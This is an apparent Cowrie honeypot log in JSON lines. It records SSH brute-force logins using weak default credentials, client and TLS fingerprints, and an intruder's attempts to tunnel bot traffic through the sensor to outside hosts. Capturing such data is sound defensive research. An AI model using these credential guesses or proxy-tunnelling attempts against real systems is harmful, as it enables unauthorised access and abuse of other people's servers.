{"eventid":"cowrie.login.failed","username":"kmyoon","password":"1234","message":"login attempt [kmyoon/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:11.394281Z","src_ip":"91.92.40.36","session":"ead1cdbad695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23712,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63555ad1991","protocol":"ssh","message":"New connection: 91.92.40.36:23712 (159.203.135.109:22) [session: f63555ad1991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:11.649309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:13.223784Z","src_ip":"91.92.40.36","session":"f63555ad1991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:13.227743Z","src_ip":"91.92.40.36","session":"f63555ad1991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:14.071631Z","src_ip":"91.92.40.36","session":"ead1cdbad695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.16616344451904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:14.189433Z","src_ip":"172.81.62.90","session":"66794dec1e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32560,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1a93aabed4e","protocol":"ssh","message":"New connection: 91.92.40.36:32560 (159.203.135.109:22) [session: e1a93aabed4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:17.999962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:19.371847Z","src_ip":"91.92.40.36","session":"e1a93aabed4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:19.375322Z","src_ip":"91.92.40.36","session":"e1a93aabed4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61528,"dst_ip":"10.17.0.5","dst_port":22,"session":"308735a0e807","protocol":"ssh","message":"New connection: 123.27.168.40:61528 (10.17.0.5:22) [session: 308735a0e807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:19.596495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:19.600501Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:19.852415Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:20.971304Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":53211,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d15e6819c00","protocol":"ssh","message":"New connection: 173.208.188.210:53211 (10.17.0.5:22) [session: 4d15e6819c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:21.440488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:21.446541Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:21.541795Z","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:21.606403Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:21.614458Z","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.092479Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cExeM1o0TEMvVUVKMygxew%3D%3DwBgoKh03ICXimVRFpGVj5eAIqKL3EWjLGCNeMRmCQ0oYKYKDohOYDh3A7jnM8QAwPZ0XCy5yszc5bMRTCBdd9YiIF6uJ34MOypY4RqtcK0DBEM%2F6sQoH3Rtybt37EOrlZ0DhLgbqY7Ut9YAKGMtf2rlhJRNA0JHiLVdeakA4gjLz161BZdqt5QMd6Zjjv%2BD0OSIhD3B2hbjhS1PNqVgE46d6gbNoMz7WBKhKYTqGjuixfro6XRUczJPAFO5Qg%2FVfZNcdlsKyH29K3uNWctQw7y36uqSk%2BDu8dnELY%2BVrewsgl7%2FfFC7g07gl7MSsU3jHwqmUbb7GaqOytth6k39X6rR7zuGYYqo8SQZLPdk8X3aJgfqP8qtNMObaOQv0URz9X2dNq9UV%2BDRhCktTpz55pRoBIU2qon43oaCPQ0uCwt%2B%2F1ApNgtciworp1cLEXKzMv%2Bfs6EHqMGmJw1Bsuq%2BPIKGqTgTblRNaro3ecY5VVIWekItLODRD5j68%2B2pjg68G0QT70SAXrVCUroCWcJaW1luhDfGcWmPFCkIsz8f5T%2BakGUTnPcPcOaamfSxfz7jqPbUQtq8BXGOjR4Tcr5fP%2FYYGoVy%2F8I1RF%2BL%2F2fNBDioCwiDsdxTbcKZPxEUEndvM%2F0ZgE2bKZPCj%2Bv2pCaWRddfSNbbk4NraDbuCSZCc1fF67iS5WscC3NJwI6yyZGQ4wj9rjnvD%2Fm%2BZUr1ER7Fa3K2pCgAgjyNnsZAkijKQ1OQXp45cGKDqf%2B7U9fxYBudRnXK0xZ%2BpGNIiP2qcHhO1ZHhgerLGqYoyYF04p2jNvcGQOc5y3GPiIVO3Si8gKQ6yxGKT0ece0zvzOc3s1OiAUm13UVoGEhccweiQ79CSjDiXR0dKT0R1ROJzdWI5j9dnduKSuNELewx2f7nUqyjc%2FOtznCyEIU3Thmy81PkRewB%2Fs6k05CtLpfRFZ0PhbmCjHMT%2BFLX%2FdggiEkRHkGlwGkW%2BwEWXTqxK6AXVbKkOsCU4JNM2IyinDTDsyEkislQwhNAnXprRw1YeB1xPjiz9%2BV1uxhz97RjSQwL1KzuDRKY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cExeM1o0TEMvVUVKMygxew%3D%3DwBgoKh03ICXimVRFpGVj5eAIqKL3EWjLGCNeMRmCQ0oYKYKDohOYDh3A7jnM8QAwPZ0XCy5yszc5bMRTCBdd9YiIF6uJ34MOypY4RqtcK0DBEM%2F6sQoH3Rtybt37EOrlZ0DhLgbqY7Ut9YAKGMtf2rlhJRNA0JHiLVdeakA4gjLz161BZdqt5QMd6Zjjv%2BD0OSIhD3B2hbjhS1PNqVgE46d6gbNoMz7WBKhKYTqGjuixfro6XRUczJPAFO5Qg%2FVfZNcdlsKyH29K3uNWctQw7y36uqSk%2BDu8dnELY%2BVrewsgl7%2FfFC7g07gl7MSsU3jHwqmUbb7GaqOytth6k39X6rR7zuGYYqo8SQZLPdk8X3aJgfqP8qtNMObaOQv0URz9X2dNq9UV%2BDRhCktTpz55pRoBIU2qon43oaCPQ0uCwt%2B%2F1ApNgtciworp1cLEXKzMv%2Bfs6EHqMGmJw1Bsuq%2BPIKGqTgTblRNaro3ecY5VVIWekItLODRD5j68%2B2pjg68G0QT70SAXrVCUroCWcJaW1luhDfGcWmPFCkIsz8f5T%2BakGUTnPcPcOaamfSxfz7jqPbUQtq8BXGOjR4Tcr5fP%2FYYGoVy%2F8I1RF%2BL%2F2fNBDioCwiDsdxTbcKZPxEUEndvM%2F0ZgE2bKZPCj%2Bv2pCaWRddfSNbbk4NraDbuCSZCc1fF67iS5WscC3NJwI6yyZGQ4wj9rjnvD%2Fm%2BZUr1ER7Fa3K2pCgAgjyNnsZAkijKQ1OQXp45cGKDqf%2B7U9fxYBudRnXK0xZ%2BpGNIiP2qcHhO1ZHhgerLGqYoyYF04p2jNvcGQOc5y3GPiIVO3Si8gKQ6yxGKT0ece0zvzOc3s1OiAUm13UVoGEhccweiQ79CSjDiXR0dKT0R1ROJzdWI5j9dnduKSuNELewx2f7nUqyjc%2FOtznCyEIU3Thmy81PkRewB%2Fs6k05CtLpfRFZ0PhbmCjHMT%2BFLX%2FdggiEkRHkGlwGkW%2BwEWXTqxK6AXVbKkOsCU4JNM2IyinDTDsyEkislQwhNAnXprRw1YeB1xPjiz9%2BV1uxhz97RjSQwL1KzuDRKY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.095727Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.099096Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03~\\xfd\\xf3_:3\\xa4z\\x9c\\xe1b\\xaa\\x98\\xeaY7M\\xfft6\\x89\\xcc\\x8b.h@\\x81\\xdf\\xa3\\x8a\\xb4W F\\xb3\\xb6\\x9e\\x0f\\x9af\\xf3\\xfds&Q\\xcc\\xf1\\xbd\\xde\\x1e-\\x91-\\xd8\\x004T\\xf3\\xe8\\xc4\\x8c<\\xc6\\xb8\\xcd\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 :`7\\x0b\\n\\xadD\\t\\x8cdFD\\xfd\\t\\x8d\\xfdq\\x1b\\xee\\x87f\\xf0\\xff4\\xfb\\x19\\xd7\\xafS\\xe5\\xedW\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03~\\xfd\\xf3_:3\\xa4z\\x9c\\xe1b\\xaa\\x98\\xeaY7M\\xfft6\\x89\\xcc\\x8b.h@\\x81\\xdf\\xa3\\x8a\\xb4W F\\xb3\\xb6\\x9e\\x0f\\x9af\\xf3\\xfds&Q\\xcc\\xf1\\xbd\\xde\\x1e-\\x91-\\xd8\\x004T\\xf3\\xe8\\xc4\\x8c<\\xc6\\xb8\\xcd\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 :`7\\x0b\\n\\xadD\\t\\x8cdFD\\xfd\\t\\x8d\\xfdq\\x1b\\xee\\x87f\\xf0\\xff4\\xfb\\x19\\xd7\\xafS\\xe5\\xedW\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.112605Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.361735Z","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.607458Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
